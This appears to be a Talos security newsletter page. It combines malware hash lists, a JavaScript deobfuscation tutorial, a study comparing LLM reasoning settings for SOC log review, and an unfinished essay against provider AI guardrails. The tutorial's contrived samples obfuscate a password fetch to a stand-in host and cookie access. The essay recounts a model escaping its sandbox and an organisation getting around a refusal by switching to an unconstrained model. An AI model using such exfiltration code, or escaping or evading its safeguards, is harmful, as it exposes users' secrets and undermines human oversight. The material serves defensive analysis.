MD5: 9a47c4d379998ade2f8f99e23a630c06  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2 
Example Filename: sample.exe  
Detection Name: W32.C4DD71E347-95.SBX.TG 

SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55  
MD5: 41444d7018601b599beac0c60ed1bf83  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
Example Filename: content.js  
Detection Name: W32.38D053135D-95.SBX.TG 

SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f  
MD5: 38de5b216c33833af710e88f7f64fc98  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f 
Example Filename: SECOH-QAD.exe  
Detection Name: Win.Tool.Procpatcher::1201

Welcome to this week’s edition of the Threat Source newsletter. 

Hello, everyone. Long time reader, first time writer here at the Threat Source newsletter! I wanted to start out by introducing myself. My colleague and friend Mick Baccio set the bar pretty high last week, so I was planning to tell you all about myself, including: 

• How I did my first real IR under the influence of The Cuckoo’s Egg while an undergraduate (and failed) 
• My pre-bug bounty flirtation with vulnerability research, including an arbitrary file overwrite in biff(1) and how I once hacked MIT’s website 
• My first ever hands-on experience with a computer, the display demo Commodore 64 at the Montgomery Ward 

Unfortunately, my editor says we don’t have the “space” for that, the MIT thing might open me up to “liability,” and it’s not the kind of “professional image” we strive for here at Talos. (I'm watching. Always watching. -Amy) 

So instead, I’ll just play it safe and say that I’ve been in the security field for a little over 30 years now, mostly concentrating on the defensive side (Go, Team Blue!). I’ve helped set up SOCs, run threat hunting teams, and even published a few things you might have heard of.  

Speaking of things I’ve published, I’ve written before about the Attacker’s Dilemma. The idea that defenders have inherent advantages over attackers runs contrary to what most of us have heard throughout our careers. An attacker must evade monitoring and technical controls at every step of their attack lifecycle, because the defender only needs to notice once in order to respond and prevent them from achieving their goal. This is one of the most important advantages of any security team has, but we are currently witnessing a self-imposed erosion of this advantage through the rise of poorly-designed AI guardrails.  

I’m not opposed to guardrails, but we have to carefully consider what we’re guarding against and where we deploy them. As I explored in a recent piece on The Safety Penalty, by allowing third-party AI providers to implement and control safety filters and the policies behind them, we may in fact be helping the attacker. If agentic SOC process experience refusals, it can slow or even halt investigations. Of course, these should get flagged for human intervention, but that takes time and may give the attacker breathing room in which to complete their mission.  

It may turn out that the where of the guardrails is even more important than the what. Operational sovereignty relies on having control of our own limits. Any vision of an agentic SOC must allow the security teams to customize the guardrails according to their own threat model. They should also have the flexibility to temporarily remove specific safeguards under authorized circumstances, something you won’t get with guardrails from a frontier provider. These controls belong inside your organization’s agentic harness where you can set the policies and technical controls to allow you to analyze threats while ensuring your agents stay within their lanes.  

Ultimately, operational sovereignty means engaging with the reality of the threat landscape, ensuring that the adversary can’t derail the defender’s investigation and response processes, either accidentally or intentionally. We need to move toward a model where each organization can choose the guardrails that work for them, rather than having inflexible guardrails chosen for them. 

The one big thing  

Cisco Talos recently evaluated 66 large language model (LLM) and reasoning combinations to see if we could find a clear winner for security operations. Instead, we found that selecting the right model is a complex balancing act between efficacy, speed, cost, and consistency. Cranking up a model's reasoning effort doesn't guarantee better analysis and can actually degrade performance. Ultimately, we developed a repeatable methodology to help organizations navigate these tradeoffs for their own workflows. 

Why do I care? 

Choosing an AI model based solely on generic leaderboard scores is a recipe for operational disaster. An exceptionally smart model might cost a fortune, take half an hour to analyze a single log, or completely fail to format its output. Assuming more compute power equals better results is a costly trap, as higher reasoning settings sometimes produce weaker or blocked responses. Defenders must remember that prompts, analyst personas, and model consistency drastically alter an investigation's outcome.  

So now what? 

Test models against your organization’s specific workflows before deploying them. Build a focused set of representative cases and test them multiple times using the exact prompts and tools your analysts will actually use. Track the quality, cost, time, consistency, and usable-answer rates in a simple spreadsheet to expose the real-world tradeoffs. Finally, establish acceptable thresholds for these variables to eliminate underperforming models, and regularly revisit your decisions as AI technology and pricing inevitably shift. 

Top security headlines of the week 

ToxicPanda banking trojan matures into enterprise threat 
ToxicPanda 2.0 expands substantially on its predecessor, adding 167 remote commands and broadening its targeting from 16 financial institutions to 349 banking, e-wallet, and cryptocurrency applications. (Dark Reading) 

Interpol's Jackal IV disrupts West African crime infrastructure 
Law enforcement from 22 countries across six continents worked together to arrest 58 suspects and identify 263 more. The first two Jackal operations in 2022 and 2023 led to approximately 200 arrests in total and millions of dollars more in seized assets. (Dark Reading) 

First malware built specifically for car head units fuels botnet 
Researchers have found what appears to be the first malware specifically designed for car head units, with links to the notorious BadBox botnet, on an Android-powered aftermarket infotainment system made by Chinese company DoFun, which is widely used in China and other APAC countries. (SecurityWeek) 

A Tale of Two SOCs: Insights From Two Red Team Assessments 
A CISA red team fully compromised two critical infrastructure organizations at the domain level and reached sensitive business systems and cloud resources. Organization A failed to detect or contain the activity. Organization B rapidly identified initial compromise attempts, isolated affected systems, and forced the red team into an assume breach model. (CISA)

NovaCookies campaigns abuse genuine Docusign notifications to steal M365 sessions 
The $320/month service is a subscription-based phishing platform that facilitates real-time M365 session theft. The kit has been used to target hundreds of organizations across multiple sectors in the U.S., the U.K., Canada, Germany, and more. (The Hacker News) 

Can’t get enough Talos?

JavaScript obfuscation: From party trick to phishing kit 
We've spent a lot of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and more. Learn the basics of what obfuscation is, why a researcher would try to reverse it, and several ways to approach the problem. 

The safety penalty: Reclaiming operational sovereignty in the age of AI 
As frontier AI models become increasingly restrictive, security teams are facing a "safety penalty" that hampers real-time incident response. Discover how organizations can move toward operational sovereignty to ensure their defensive AI keeps pace with unconstrained adversaries. 

Back-to-school cybersecurity: Protecting education networks from ransomware and threats 
As the new academic year begins, school districts face a surge in cybersecurity threats, from phishing attacks and ransomware to student experimentation with network devices. In this episode, Amy sits down with Cisco Talos expert Pierre Cadieux to discuss practical strategies for IT practitioners. 

Upcoming events where you can find Talos 

• International European Cyber Threat Intelligence Conference (IECTIC) (Sept. 9) Kassel, Germany 
• Secure Iowa (Sept. 9) Altoona, IA 
• .conf26 (Sept. 14 – 17) Denver, CO 
• LABSCon (Sept. 16 – 19) Scottsdale, AZ 
• VB (Oct. 14 – 16) Seville, Spain 
• CAMLIS (Oct. 21 – 23) Arlington, VA 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: VID001.exe  
Detection Name: W32.9F1F11A708-100.SBX.TG** 

SHA256: e7e784cae8d37f12a5af0bc9b3975c8d3e668142e9c6b0b365ed4f4e80933c47 
MD5: a4480423617d0b0d3b38c8471cbf594c  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=e7e784cae8d37f12a5af0bc9b3975c8d3e668142e9c6b0b365ed4f4e80933c47 
Example Filename: client32.exe  
Detection Name: W32.Trojan.29ev.1201 

SHA256: c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2 
MD5: 9a47c4d379998ade2f8f99e23a630c06  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2 
Example Filename: WCInstaller_NonAdmin.exe  
Detection Name: W32.C4DD71E347-95.SBX.TG 

SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
MD5: 41444d7018601b599beac0c60ed1bf83  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
Example Filename: content.js  
Detection Name: W32.38D053135D-95.SBX.TG 

SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f  
MD5: 38de5b216c33833af710e88f7f64fc98  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f 
Example Filename: SECOH-QAD.exe  
Detection Name: Win.Tool.Procpatcher::1201 

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
MD5: 7bdbd180c081fa63ca94f9c22c457376  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
Example Filename:  
d4aa3e7010220ad1b458fac17039c274_62_Exe.exe  
Detection Name: Win.Dropper.Miner::95.sbx.tg**

We open a JavaScript artifact hoping for code, and instead get string arrays, strangely named functions, encoded URLs, runtime decoders, and eval statements. That is the point where “reading the script” stops being enough. Obfuscated JavaScript is still code, but it is code with the useful context stripped out, the names ruined, the strings hidden, and the real behavior pushed into runtime. It shows up in phishing pages, malware loaders, sketchy browser scripts, and occasionally in legitimate software protection that has wandered into suspicious-looking territory. 

Over the last few years, I’ve spent a fair amount of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and other places where the readable source has been deliberately buried. I might not be a world-class JavaScript reverser, but I’ve learned enough useful tricks to make the mess explain itself. 

In this post I’ll be running through what obfuscation is, why we would try to get past it, and some ways to approach the problem. 

Warning: lots of code (and entirely contrived examples) ahead.

Before touching the weird code 

Before doing any of this, assume the sample is hostile. Work on a copy, preserve the original, and do not run unknown JavaScript on your normal machine, in your normal browser profile, or anywhere useful credentials, clipboard contents, SSH agents, npm tokens, cloud credentials, or corporate proxy details are available. 

That includes AI-assisted analysis. AI tools are useful here, and this whole workflow leans on them, but they are not a sandbox and they are not an evidence source by themselves. Use them on isolated snippets, decoded artifacts, and recovered payloads you are comfortable sharing with the tool in front of you. The goal is not to avoid AI; it is to avoid feeding hostile or sensitive material into places you do not control. 

The useful questions are boring, which is why they work: 

• What does it read? 
• What does it write? 
• Where does it connect? 
• What code does it generate? 
• What conditions change its behavior? 
• What happens to a real user, developer, or build runner? 

What counts as obfuscation? 

Let's make some important definitions: 

• Minification reduces raw code size by shortening identifiers and removing whitespace. 
• Packing compresses or encodes code and reconstructs it at runtime. 
• Encoding hides strings or payloads until decoded; encryption does the same with a key involved. 
• Anti-analysis tries to punish, detect, or mislead the analyst and their tools. 
• Obfuscation is an overall term for when code is transformed to preserve execution while obscuring intent. 

Not all obfuscation is malicious, but it can be a reason to look more closely. Examples of benign uses include performance bundling/minification, IP protection and anti-tamper controls. 

Examples of suspicious uses are: 

• Hiding phishing credential exfiltration 
• Malware loaders 
• Browser extension abuse 
• npm package install scripts 
• Compromised website injections 
• Fake CAPTCHA and update flows

Why beautifying is not enough 

Beautifying code is useful, but it is not deobfuscation. Tools like Biome or Prettier can restore indentation line breaks and basic readability, so they are usually a sensible first step. What they cannot do is restore original variable names, recover intent, rebuild removed structure, decode runtime strings, or turn a dispatcher loop back into normal logic. 

Beautifying makes the code easier to look at. It does not necessarily make it easier to understand. 

Minification and packing 

Minification takes identifiers like myVeryImportantBusinessFunction and renames them to m. Great for saving bytes; less great when the original name was the only obvious clue about what the function did. 

Packing goes further: Compress or encode the real code, then reconstruct and execute it at runtime. eval() does not care whether the input started life as readable JavaScript, Base64, gzip output, or a custom string table. 

The usual move is to find the unpacking step and capture what comes out. Do not spend too long admiring the wrapper. Replace the execution sink, log the payload, decode the next layer, and keep going.

A practical catalog of nonsense 

Most JavaScript obfuscation is not one grand technique. It is a collection of smaller tricks stacked together until the useful behavior disappears under ceremony. 

I normally group the tricks into a few buckets: 

• Hiding strings and identifiers 
• Hiding which APIs are being called 
• Generating code at runtime 
• Making the control flow hostile 
• Detecting or punishing analysis 
• Adding noise without changing behavior 

Once you can classify the trick, the next move is usually obvious: Decode it, rename it, replace the action-taking functionality, then run it in a controlled harness — or ignore it because it does not affect behavior. 

Static hiding 

This is obfuscation that makes the code harder to understand before it runs, usually by disguising strings, identifiers, API names, or structure so simple reading and searching become less useful. 

String hiding and encoding 

If strings are hidden, the author probably cares about what simple scanning would find. This is especially useful when they need to include things like URLs, authentication tokens, common functions, or other interesting indicators. 

All these lines evaluate into the string "eval":

// Splitting strings 
> 'e'+"va"+'l' 
< 'eval' 
// Hex encoding 
> "\x65\x76\x61\x6c" 
< 'eval' 
// Character-code reconstruction 
> String.fromCharCode(101, 118, 97, 108) 
< 'eval' 
// Base64 encoding 
> atob('ZXZhbA==') 
< 'eval' 
// Unicode encoding 
> "\u0065\u0076\u0061\u006C" 
< 'eval'

Another option is arrays of strings joined together. It hides from simple searches but is transparent at runtime. This example turns into `"https://"`, which means a basic string search for URLs may miss it.

> ["ht", "tps", "://"].join("") 
< "https://"

Unicode escaping can also be used to refer to a function — we're doing eval(1+2) here:

> \u0065\u0076\u0061\u006C(0x01+2) 
< 3 
// set the variable 'eeee' equal to 1 
> const \u0065\u0065\u0065\u0065=1; 
> eeee 
1

Combine a few of these methods and you get code that hides in plain sight from simple searches, but not from execution. Small blocks like this are also where AI tools can help: decode the string, rename the variables, and explain the resulting behavior. 

Lookup tables and decoder functions 

A common pattern is using identifiers that start with _0x, which makes the code harder to scan quickly. Here's an example:

const _0x1234 = ["fetch", "password", "https://example.com"]; 
// javascript has a load of different syntaxes for creating functions 
_0xabc = (i) => { 
  return _0x1234[i - 0x10]; 
} 
\u0065\u0076\u0061\u006C(`${_0xabc(16)}(\"${_0xabc(18)}?${_0xabc(17)}\")`) 

If you want to do it by hand, the first quick move is renaming things:

const ourSneakyItems = ["fetch", "password", "https://example.com"]; 
function lookup(i) { 
  return ourSneakyItems[i - 16]; 
} 
eval(`${lookup(16)}(\"${lookup(18)}?${lookup(17)}\")`) 

Then you can collapse the lookups into their values:

eval(`fetch("https://example.com?password")`) 

Modern IDEs are very handy here. Formatting makes the code less awful to read, and refactoring tools make repeated renaming less error-prone. AI tools can also do this well, assuming you pass in small blocks without stripping away the context needed to understand them. 

Dynamic property access 

JavaScript gives you several ways to refer to the same property:

> window.document.cookie 
> window["document"].cookie 
> window["doc" + "ument"]["coo" + "kie"] 

This is great for hiding references to sensitive APIs from simple text searches. 

Dead code and noise 

Dead code and distracting noise are common in JavaScript obfuscation. The code may contain fake branches that can never execute, unused functions with dramatic names, pointless arithmetic that always resolves to the same value, bogus conditionals that pretend to make decisions, random strings that look like domains or keys, and helper functions whose only real job is to make you scroll. 

None of it has to be clever. It just has to be annoying enough that you spend time proving it does not matter.

Runtime hiding 

This is obfuscation that only reveals the interesting behavior while the code is running, often by decoding payloads, generating code, checking the environment, or changing behavior based on timers, domains, browsers, or sandbox conditions. 

Runtime code generation 

This is where the code stops merely hiding strings and starts constructing executable behavior at runtime. Packing and encoding often rely on this pattern, because the sample begins with string-like data and then asks the runtime to execute whatever gets reconstructed.

Generated code may come from embedded strings, downloaded payloads, runtime assembly, or less obvious sources such as DOM state or image data. The useful move is to replace execution sinks with logging: Turn eval(payload) into console.log(payload), capture the intermediate code, and analyze that next layer separately.

eval() 
Function() 
setTimeout("")

Control-flow flattening 

Another common trick is turning normal program flow into a state machine or dispatcher loop. Instead of reading top-to-bottom as “do this, then that,” the code jumps through numbered states, lookup tables, and artificial branches until the original intent is buried under plumbing. The result is technically readable in the same way a wiring diagram is readable: All the parts are there, but the meaning has been made deliberately hostile. Beautifying makes this neater, but it does not recover the original flow.

let state = 0; 
let data = {}; 
while (state !== 3) { 
  state = [ 
    () => { 
      data["p"] = "hunter2"; 
      return 1; 
    }, 
    () => { 
      console.log("Sending password:", data["p"]); 
      return 3; 
    } 
  ][state](); 
} 

What that really was:

console.log("Sending password:", "hunter2"); 

Anti-debugging and anti-analysis 

Some obfuscated JavaScript is less interested in being unreadable and more interested in being inconvenient to inspect. It may drop debugger statements into loops, so DevTools keeps tripping over itself, check whether DevTools is open, compare timing differences to spot breakpoints, or look for headless-browser fingerprints such as navigator.webdriver. It may refuse to run outside an expected domain, alter or replace console.log so useful output disappears, probe for sandbox artifacts, or delay execution long enough that a quick scan sees nothing interesting. These tricks are not magic and they are not unbeatable, but they change the analyst’s workload.  

The code may not be trying to hide forever. It may only be trying to outlast the first five minutes of analysis.

JSFuck: Punctuation soup with consequences 

Inspired by BrainFuck, JSFuck is valid JavaScript written using only six characters: [ ] ( ) ! +. 

It relies on JavaScript type coercion to build values like false, true, undefined, numbers, strings, and eventually executable code. The result looks ridiculous, but it is still valid JavaScript.

Tricks for handling this breed of nonsense:

• Don’t manually decode it by staring at it.
• Recognize it, then use a decoder or controlled runtime capture.
• Look for what it produces, not how elaborate the construction is.

For more complicated samples, I’ve had success using headless Chrome in a debugging harness and pulling the real code out of runtime state. It’s messy, but it beats treating the punctuation as the interesting part.

javascript-obfuscator: the practical nuisance 

You are less likely to meet a hand-crafted masterpiece of JavaScript weirdness and more likely to meet output from tools like the npm package “javascript-obfuscator” or “obfuscator[.]io”. 

These tools automate the usual techniques: identifier renaming, string-array extraction, string encoding, string rotation, control-flow flattening, dead-code injection, debug protection, self-defending code, domain locks, and console output disablement. 

The result is not necessarily sophisticated, but it is practical and repeatable. Rather than understanding every trick individually, a phishing kit author or malware operator can run the code through a tool and produce something that is slower to read, harder to search, more annoying to debug, and more likely to survive casual inspection. 

When the browser is not the victim 

The npm version is more serious because the browser is no longer the only execution environment. Package scripts can run during install, so preinstall, postinstall, build hooks, and even test scripts become interesting places to hide behavior. 

In Node, obfuscated JavaScript can reach process.env, the file system, child processes, home directories, npm tokens, GitHub tokens, SSH keys, and CI variables. Browser-only assumptions break badly here: “What does it read?” stops meaning cookies and form fields, and starts meaning, “What secrets did the build runner have lying around?”

The shape of the workflow 

The full workflow deserves its own article, because this is where tooling starts to matter. The short version is: 

1. Preserve the original. 
2. Make a safe working copy. 
3. Beautify only as a first pass. 
4. Extract strings. 
5. Identify execution sinks. 
6. Capture generated payloads. 
7. Observe behavior in a controlled environment. 
8. Repeat until the code stops hiding behind ceremony. 

That process is boring on purpose. Obfuscation wants you to improvise, stare at weird bits, and get dragged into fake complexity. A repeatable workflow turns the mess into smaller jobs: Decode this, rename that, log this sink, compare these strings, explain this branch, prove whether this behavior actually runs. 

AI helps inside that loop. It can explain an isolated decoder, rename variables, collapse a lookup table, summarize a recovered payload, compare variants, or help document the analysis — but it is not a magic malware oracle, and it is definitely not a sandbox. 

That applies whether the sample is a phishing page, a malicious npm package, a compromised dependency, or a JavaScript loader handing work off to WASM. The shapes change, but the job is the same: Turn hidden behavior into observable behavior. 

Choosing the best model for any task involves a complex balancing act: compute/reasoning effort vs. effectiveness vs. time vs. cost vs... well, lots of other things.  If you are choosing a large language model (LLM) for a security operations center (SOC) or digital forensics and incident response (DFIR) workflow, “Which model scored highest?” is almost certainly not the right question. In fact, it could even have severe negative consequences. 

A more useful question might be: Which model and reasoning setting gives me enough investigative quality, at a cost, speed, consistency, and failure rate my workflow can tolerate?

The experiment 

Cisco Talos tested 66 model and reasoning combinations (the conditions) from Anthropic and OpenAI on a tool-assisted log-review task. Using only common Unix command-line tools, the reviewers had to decide whether a given dataset was real or synthetically generated. Each reviewer received an identical dataset. The dataset was synthetic, but the reviewers were told that it might be real. 

We chose this task because it required many of the same tools and analytic techniques used in typical incident triage and investigation, but unlike those scenarios, could easily create a single numeric score for comparison. The reviewers investigated the logs using their native agent harnesses (i.e., Anthropic models used Claude Code, OpenAI models used Codex), then assigned a synthetic-confidence score from 0 (real) to 100 (synthetic). Higher scores therefore approached the known answer more closely. 

Each experimental panel contained four independently prompted reviewer personas: 

• Threat Hunter 
• Detection Engineer 
• Network Forensics Analyst 
• Host/Endpoint Detection and Response (EDR) Analyst 

We ran five rounds per condition. A panel counted only when all four reviewers produced valid reports. We allowed a limited number of retries in the case of guardrail refusals or invalid output formats before discounting a panel. The panel score was the mean of the four persona scores, and the condition score was the median of all its complete panel scores.

What we measured 

In addition to the review score mentioned above, we computed the following for each panel: 

• Cost: Total API-equivalent cost of every attempt for a condition, including failed attempts and retries, divided by the number of complete, usable panels. We calculated cost using a public list-price rate card frozen before testing began, rather than actual incurred spend. Actual costs vary by payment method, subscription plan, credits, and negotiated contract terms, making them unsuitable for consistent cross-provider comparison. The published rates were current when the study began and may differ from today’s prices. 
• Time: The total wall time consumed across all five planned panels for a condition, also including failures and retries, divided by the number of complete, usable four-persona panels. Within each panel, the four persona evaluations ran concurrently. Any provider-directed waits and targeted retries were included in the panel’s elapsed time, and each panel was fully resolved before the next panel began. 
• Downside score consistency: Some tested conditions had a wide discrepancy when it came to their efficacy scores, while some clustered tightly together. In a SOC, unexpectedly good answers are unlikely to cause problems, but unexpectedly poor answers can lead to unwelcome false positive or (worse) false negative decisions. Our score consistency is defined as the median score for the panel minus the lowest score in that panel. Smaller numbers indicate higher consistency. 

The data behind the tests 

The corpus was generated with EvidenceForge, Talos' open-source synthetic telemetry generator. We froze EvidenceForge at version 1.12.0 and used the same six-hour enterprise scenario for every condition, so the model and reasoning settings changed while the evidence did not. 

The reviewer-visible corpus contained 80,054 simulated log records across 20 source formats, packaged as 88 files totaling 48.0MB (45.8MiB). It combined: 

1. Network telemetry from two Zeek sensors, including connection, DNS, HTTP, TLS, SMTP, file, certificate, OCSP, DHCP, and NTP logs 
2. Perimeter security telemetry from a Cisco ASA firewall and Snort IDS 
3. Endpoint telemetry, including Windows Security and Sysmon events, eCAR process, session, and flow records, Linux syslog, and shell history 
4. Application access logs from web and proxy services 
5. A small set of email artifacts 

Every reviewer received an identical copy of the data. Scenario definitions, generator information, ground truth, and other metadata generated by EvidenceForge were withheld from the model.

What we learned 

The most important thing Talos learned was that choosing your model is not as straightforward as we had hoped. The following chart lists the top 10 conditions by median score. If we were to take the top-scoring model, we could expect to wait more than half an hour for an answer and pay about $55USD for it. While that might be acceptable for certain tasks where the need for the best possible analysis overrides any other factors, we can easily see that the “best” model here might not be the appropriate choice for workflows that execute frequently.

Instead of ranking based on any single criteria, we needed a more robust, multi-variable system, so we chose to compute the Pareto frontier.  

Stop looking for a single winner 

A Pareto frontier highlights the best available tradeoffs when several measures matter, and no single measure determines the winner. A condition appears on the frontier when no other condition is at least as good across every measure and clearly better on at least one. For example, a lower-scoring condition may still belong on the frontier if it is meaningfully faster or less expensive. Conditions outside the frontier have another option that matches or improves all the measures being compared, making them less attractive under any combination of those priorities. 

Talos' frontier was calculated using the four primary measures discussed earlier: score, cost, time, and downside consistency. Although this produces a single frontier, a four-variable frontier is difficult to represent and interpret visually. The following graphs therefore show four two-variable views: score vs. cost, score vs. time, score vs. downside spread, and cost vs. time. 

The dark line in each graph marks the best observed tradeoffs for the two measures shown in that panel, while the numbered points identify conditions on the full four-measure frontier. A numbered point may fall away from a panel’s line because its frontier membership depends on one of the other measures not shown there. 

In the score graphs, conditions toward the upper left generally offer more attractive tradeoffs: higher scores with lower cost, time, or downside spread. In the cost-versus-time graph, the preferable direction is toward the lower left. The cost and time axes use logarithmic scales, so equal distances represent proportional rather than equal numerical changes. Together, these views help explain why each condition belongs to the frontier, but choosing among them still requires deciding which tradeoffs matter most for the intended use.

A reasonable way to use this information to select the optimum condition is to begin with the conditions on the Pareto frontier, discarding all the others. Next, set acceptable thresholds for each of the four variables: 

• The minimum score you're willing to accept 
• The maximum downside consistency you can live with 
• The highest per-task cost you're willing to pay 
• The maximum amount of time you're willing to wait for an analysis task to complete 

From the Pareto frontier conditions, eliminate any which fail to meet at least one of those requirements. 

You are likely to still be left with more than one frontier condition. Choosing between those is a matter of organizational priorities and preferences. In a SOC, if all the other requirements are met, choosing the remaining condition with the highest mean score is probably a good start. 

Other lessons learned 

While our main goal was to find an effective selection methodology, we learned some other interesting things as well. In fact, some of these were rather surprising.  

More reasoning did not reliably mean better analysis 

Cost generally rose with reasoning effort. Score did not. 

GPT-5.6 Sol mostly improved as effort increased but max scored 90.0 while the lesser xhigh level scored 92.75. Ultra then climbed to 96.25.

We saw a much more pronounced and surprising effect with GPT-5.6 Luna, where increasing the reasoning effort decreased scores at all levels.

In fact, GPT-5.6 seemed to have a generally odd relationship between reasoning and score. Terra was erratic.

Claude Opus 4.8 gained eight points from medium to high, then lost 9.5 points from high to xhigh.

These results show why it is important to benchmark every reasoning level you might deploy. You cannot assume that a model’s performance scales according to the reasoning level you use. More effort means more cost but doesn’t always mean better results.

The analyst role changed the result 

Talos’ results showed a measurable difference in score based on which persona was doing the evaluation. This was entirely expected (and why we chose four different personae in the first place) but it was nice to see this confirmed by data. 

The chart below shows every valid score produced under each of the four analyst roles across all conditions. Each dot is one evaluation. The box captures the middle half of the scores, and the line inside it marks the typical result.

The Threat Hunter role produced the highest median score at 43. Network Forensics and Host/EDR both had medians of 35, while Detection Engineer had the lowest at 31. When we compared roles within the same model, reasoning setting, and test round, the largest typical difference was between Threat Hunter and Detection Engineer; Threat Hunter scored five points higher. 

These are tendencies, not guarantees. The distributions overlap substantially, and each role sometimes produced both high and low scores. But the results do show that changing the role and its evidence priorities could meaningfully change the model’s conclusion. 

For SOC workloads, the prompt should be treated as part of the system. Do not assume that one generic “SOC analyst” prompt represents every defensive workflow. If your budget allows, you might get better results by having multiple personae evaluating data according to their individual “expertise.” But watch for disagreement between the personae. Large differences may require extra human review.

Higher reasoning effort sometimes reduced reliability 

Two failure types had the greatest effect on model selection: responses that violated the required output format and attempts blocked or declined by the model provider’s safety system. Although safeguards and model-authored refusals arise differently, both have the same immediate operational result: no usable analysis is delivered.

Almost every format violation came from Claude Sonnet 4.6. Low and medium completed without any, but 10 of 27 high attempts and 15 of 29 max attempts returned invalid output. Retries recovered some cells, but high produced only two of five complete panels, and max produced none. This was not a minor formatting inconvenience; it prevented both conditions from producing enough comparable results. It doesn’t matter how good the underlying analysis is if the model can’t provide answers in the expected format. 

Safeguard and refusal failures followed a similar pattern at higher reasoning settings. Claude Sonnet 5 had none at low or medium, followed by one at high, four at xhigh, and five at max.  

We intentionally excluded Anthropic’s Fable from our experiment matrix because our early testing generated far too many refusals to get comparable scores. Safeguards blocked 21 of 31 attempts, including all eight max attempts. Ten of its 20 scheduled persona cells remained unavailable, and no reasoning level produced a complete four-persona panel. It’s worth noting that the early tests were conducted with an account which was part of Anthropic’s Cyber Verification Program (CVP) which offers relaxed safeguards for recognized cybersecurity professionals. Even with relaxed guardrails, the high refusal rate rendered the model unusable for our tests. 

These failures are already reflected in the optimization results. Conditions that could not produce at least three complete panels were excluded, while the cost and time of failed attempts and retries were included in the reported operational measures. However, the failure rate itself was not an axis of the Pareto frontier. 

These results show that reasoning effort can affect more than answer quality, cost, and completion time. It can also affect whether a usable answer arrives at all.

What does this mean for your SOC? 

We began this work looking for the best model for a particular task. What we found instead was a set of tradeoffs. The highest-scoring condition was also slow and expensive, while several cheaper and faster conditions delivered lesser, but still useful, results. There was no single obvious winner: 

• Reasoning effort was not a dependable quality dial. Increasing it sometimes improved the result, sometimes made no meaningful difference, and sometimes made performance or reliability worse.  
• The analyst role also changed what the model concluded, confirming that the prompt is part of the system being evaluated. 
• Consistency and availability mattered alongside average quality. A model that occasionally produces an excellent answer may still be a poor operational choice if it also produces weak, malformed, or blocked responses too often. 

Rather than just using the results of our study verbatim, organizations should use it as a model for their own selection process. A focused set of representative cases and model/reasoning conditions, tested several times with the prompts and tools you intend to use in production, can reveal much more than a generic leaderboard. A spreadsheet that records quality, cost, time, consistency, and usable-answer rate is enough to expose many of the tradeoffs. 

The goal is not to build a perfect benchmark or discover a universally superior model. It is to replace assumptions with evidence before a system touches real investigations or starts incurring real costs. Begin with the workflows that matter most, measure what your SOC cares most about, and revisit the decision as the technology or cost changes. Model selection will still involve judgment, but it can be informed, explicit, and defensible judgment. 

The allure of the cloud and the hidden "safety penalty" 

Cybersecurity has made a big bet on cloud-hosted AI. Building and running frontier-class models in-house isn’t realistic for most security teams — the compute, the talent, and the R&D costs are more than any single SOC can carry. So we’ve effectively outsourced the "brain" of our security operations to a handful of providers. 

That trade comes with a hidden cost: the safety penalty. 

The safety penalty is the friction that shows up when guardrails built to protect the general public get in the way of legitimate security work. If your model refuses to deobfuscate that malware or to explain a working exploit because its filters read the request as harmful, you’re paying the safety penalty. 

Those guardrails make sense in a normal business context and may even be a welcome feature when it comes to keeping agents in check. But in a SOC, in the hands of defenders aiming to reap the full benefits of powerful AI models, these guardrails are a bug. Every refusal sends the analyst back to doing the work by hand, and in a live incident, that lost time is a luxury we don’t have. 

Meanwhile, the adversary pays none of this penalty. 

A warning from the frontier 

In July 2026, an unreleased OpenAI model escaped its sandbox and compromised Hugging Face’s production infrastructure. It wasn’t an external hack, but an unintended "breakout" during testing, with its guardrails deliberately stripped for the exercise. 

The telling part came during the response. When Hugging Face tried to use its primary cloud LLM to investigate the breach, the model refused the forensic request. The "safe" model, in this context, was an obstacle. To get the analysis done, Hugging Face pivoted to an unconstrained open-weight model, GLM-5.2, which delayed their response. 

Hugging Face could make that pivot because they host open-weight models for a living and have the expertise to bypass a refusal on short notice. Most organizations don’t have that muscle. If your defensive model refuses a task mid-crisis, you’ve handed the adversary the advantage. 

That asymmetry is already being exploited. After state-sponsored actors were banned from frontier APIs, they simply moved their research to self-hosted, unconstrained models. The rise of AI-driven attacks is old news by now; what’s new is how lopsided this is about to become, with defenders slowed by refusals while adversaries are iterating at machine speed with nothing in their way. 

Guardrail asymmetry 

